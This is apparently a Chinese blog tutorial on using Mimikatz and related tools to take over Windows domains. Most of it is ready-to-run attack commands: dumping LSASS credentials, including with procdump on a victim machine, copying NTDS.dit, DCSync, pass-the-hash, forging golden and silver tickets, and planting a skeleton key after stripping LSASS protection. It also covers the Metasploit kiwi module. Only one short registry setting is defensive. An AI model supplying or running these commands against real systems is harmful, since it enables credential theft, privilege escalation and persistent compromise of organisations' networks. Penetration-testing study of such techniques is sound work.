mimikazi教程

mimikazi教程

1、简介

1.1、背景介绍

Mimikatz 是从 Windows 系统中收集凭证数据最好的工具之一。由于 Mimikatz 的作者 Benjamin Delpy 是法国人,所以描述关于 Mimikatz 用法的资源都是法语的,至少在他的博客中是这样的。 Mimikatz 的 GitHub 页面是英文的,包括了命令的用法等有用信息。

Mimikatz 是 Benjamin Delpy (@gentilkiwi) 在 2007 年使用 C 语言编写的一个 Windows x32/x64 程序,用于了解更多关于 Windows 的凭据数据(并作为 POC)。

有两个可选的组件能提供一些额外的功能,mimidrv(与 Windows 内核交互的驱动程序)和 mimilib(绕过 AppLocker,验证包/SSP,密码过滤器以及用于 WinDBG 的 sekurlsa)。

Mimikatz 需要管理员或 SYSTEM 权限,通常使用 DEBUG 权限执行某些操作,与 LSASS 进程(取决于所做的操作的要求)进行交互。

Mimikatz 可以通过编译并运行你自己的版本,运行 Mimikatz 可执行文件,利用 Metasploit 脚本,和官方的 PowerShell 版本— Invoke-Mimikatz ,或 Mimikatz 的十多个 PowerShell 变种(我比较偏爱用 PowerShell 写的 Empire,因为它真的很棒!)。

1.2、官方链接

mimikatz

mimikatz wiki

gentikiwi blog

1.3、mimikatz 与凭证

在用户登录之后,会生成很多凭证数据并存储在本地安全权限服务的进程(LSASS)内存中。其目的是为了方便单点登录(SSO)在每次对资源进行访问请求时确保用户不会被提示。凭证数据包括 NTLM 密码哈希,LM 密码哈希(如果密码长度小于 15 个字符),甚至明文密码(以支持其他的 WDigest 和 SSP 认证)。虽然可以阻止 Windows 创建 LM 哈希到本地计算机的 SAM 数据库(或 AD 数据库),但这并不能阻止系统在内存中生成 LM 哈希。默认情况下,在 Windows Server 2008 和 Windows Vista 中不再生成用户的 LM 哈希,除非明确的启用了该功能。从 Windows 8.1 和 Windows Server 2012 R2 开始,LM 哈希和“纯文本”密码将不在内存中生成。此功能也被“移植”到了较早版本的 Windows 中,Windows 7/8/2008 R2/2012 需要打 kb2871997 补丁。为了防止在 LSASS 进程中放置“明文”密码,下面的注册表键需要被设置为“0”(禁用摘要):

#!bash
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)

2、基本使用

2.1、常用命令

system::user               //查看当前登录的用户
process::list              //列出进程
process::stop processname  //结束进程(有些进程结束不了,即使权限够大)
process::suspend  processname //暂停进程
process::modules              //列出系统核心模块和其所在的物理路径
service::list                 //列出系统服务
service::stop(start) service_name   //停止(开启)服务
privilege::list               //列出系统权限列表
privilege::debug              //提升权限 (执行这条命令得有足够的权限)
nogpo::cmd                    //打开cmd
nogpo::regedit                //打开注册表
ts::sessions                  //显示当前回话
ts::processes                 //显示当前进程及其PID
sekurlsa::logonpasswords      //获取当前在线用户的明文密码(需要高权限运行)
lsadump::lsa /patch           //获取当前此计算机存在过用户的NTLMHASH
inject::process lsass.exe '路径' sekurlsa.dll //进程注入(如果用1.0版本获取hash的时候发现sekurlsa模块存

2.2、远程连接使用

1.控制远程的服务器后,‘帮助’对方下载mimikatz,然后以管理员身份运行mimikatz.exe

2.运行下面指令,即可得到当前内网中的所有密码。

privilege::debug           //提升权限
sekurlsa::logonpasswords   //抓取密码

//非交互式shell中
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt 

2.3、本地使用

果对方电脑开了防火墙,装了杀毒软件,如360,火绒,nod32之类的话。可能就不能在对方电脑上使用mimikatz

前面说过,mimikatz是从 lsass.exe进程中获取windows的账号及密码的,
这时,我们可以帮对方安装一个procdump64.exe(这是微软自己的工具,可以放心使用)

然后从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从 dmp文件里读取信息。

1、安装procdump64.exe

2、从procdump64.exe里导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

3、将lsass.dmp传回本地

4、使用本地的mimikatz.exe读取lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

为了方便复制与查看,可以输出到本地文件里面:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt

2.4、读取域控成员Hash

2.4.1、域控本地读取

注:得在域控上以域管理员身份执行mimikatz

方法一:直接执行

Copy#提升权限
privilege::debug

抓取密码
lsadump::lsa /patch

方法二:通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取:

Copy#获取所有域用户
lsadump::dcsync /domain:test.com /all /csv

#指定获取某个用户的hash
lsadump::dcsync /domain:test.com /user:test

2.4.2、导出域成员Hash

域账户的用户名和hash密码以域数据库的形式存放在域控制器的 %SystemRoot%\ntds\NTDS.DIT 文件中。

这里可以借助:ntdsutil.exe,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:

#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

#加载快照
ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

#Copy文件副本
copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:

Copysecretsdump.py -ntds.dit -system system.hive LOCAL

最后记得卸载删除快照:

ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
ntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

2.4.3、secretsdump脚本直接导出域hash

为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,简单粗暴:

Copypython secretsdump.py rabbitmask:123456@192.168.15.181

首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功

2.5、哈希传递

2.5.1、工作组环境

当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。

#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9

#使用xie用户的NTLM哈希值进行攻击
sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9

在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。

或者可以直接将该主机的C盘映射到本地的K盘

2.5.2 域环境

在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值

域:xie.com
域控:WIN2008.xie.com

#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5 
#使用域用户xie的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9   

2.6 票据传递攻击(PTT)

2.6.1 黄金票据

域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。

首先获取krbtgt的用户hash:

mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:

kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi

#导入刚才生成的票据
kerberos::ptt test.kiribi

#导入成功后可获取域管权限
dir \\dc.abc.com\c$

2.6.2 白银票据

黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密,金票在使用的过程需要和域控通信

白银票据:伪造 TGS ,只能访问指定的服务,且由服务账号(通常为计算机账户)的 Hash 加密 ,银票在使用的过程不需要同域控通信

#在域控上导出 DC$ 的 HASH
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

#利用 DC$ 的 Hash制作一张 cifs 服务的白银票据
kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt

#cifs是指的文件共享服务,有了 cifs 服务权限,就可以访问域控制器的文件系统
dir \\DC.ABC.COM\C$

2.6.3 skeleton key

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。

#在域控上安装 skeleton key
mimikatz.exe privilege::debug "misc::skeleton"

#在域内其他机器尝试使用 skeleton key 去访问域控,添加的密码是 mimikatz
net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator

微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。

#适用系统
windows 8.1
windows server 2012 及以上

当然 mimikatz 依旧可以绕过,该功能需要导入mimidrv.sys文件,导入命令如下:

privilege::debug
!+
!processprotect /process:lsass.exe /remove 
misc::skeleton

3.6.4 MS14-068

当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限。如果域控服务器存在 MS14_068 漏洞,并且未打补丁,那么我们就可以利用 MS14_068 快速获得域控服务器权限。

MS14-068编号 CVE-2014-6324,补丁为 3011780 ,如果自检可在域控制器上使用命令检测。

Copysysteminfo |find "3011780"
#为空说明该服务器存在MS14-068漏洞

操作链接:MS14-068复现(CVE-2014-6324):https://www.cnblogs.com/-mo-/p/11890539.html

3、msf中的kiwi

使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限

进程迁移

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

基本使用

load kiwi       #加载kiwi模块
help kiwi       #查看kiwi模块的使用
creds_all       #列举所有凭据,该命令可以列举系统中的明文密码
creds_kerberos  #列举所有kerberos凭据
creds_msv       #列举所有msv凭据
creds_ssp       #列举所有ssp凭据
creds_tspkg     #列举所有tspkg凭据
creds_wdigest   #列举所有wdigest凭据
dcsync          #通过DCSync检索用户帐户信息
dcsync_ntlm     #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create   #创建黄金票据
kerberos_ticket_list   #列举kerberos票据
kerberos_ticket_purge  #清除kerberos票据
kerberos_ticket_use    #使用kerberos票据
kiwi_cmd      #执行mimikatz的命令,该模块可以让我们使用mimikatz的全部功能,后面接mimikatz.exe的命令
lsa_dump_sam        #dump出lsa的SAM
lsa_dump_secrets    #dump出lsa的密文
password_change     #修改密码
wifi_list           #列出当前用户的wifi配置文件
wifi_list_shared    #列出共享wifi配置文件/编码

参考链接

非官方参考

详细的使用方法

posted @ 2021-08-24 20:20  tomyyyyy  阅读(1431)  评论(0编辑  收藏  举报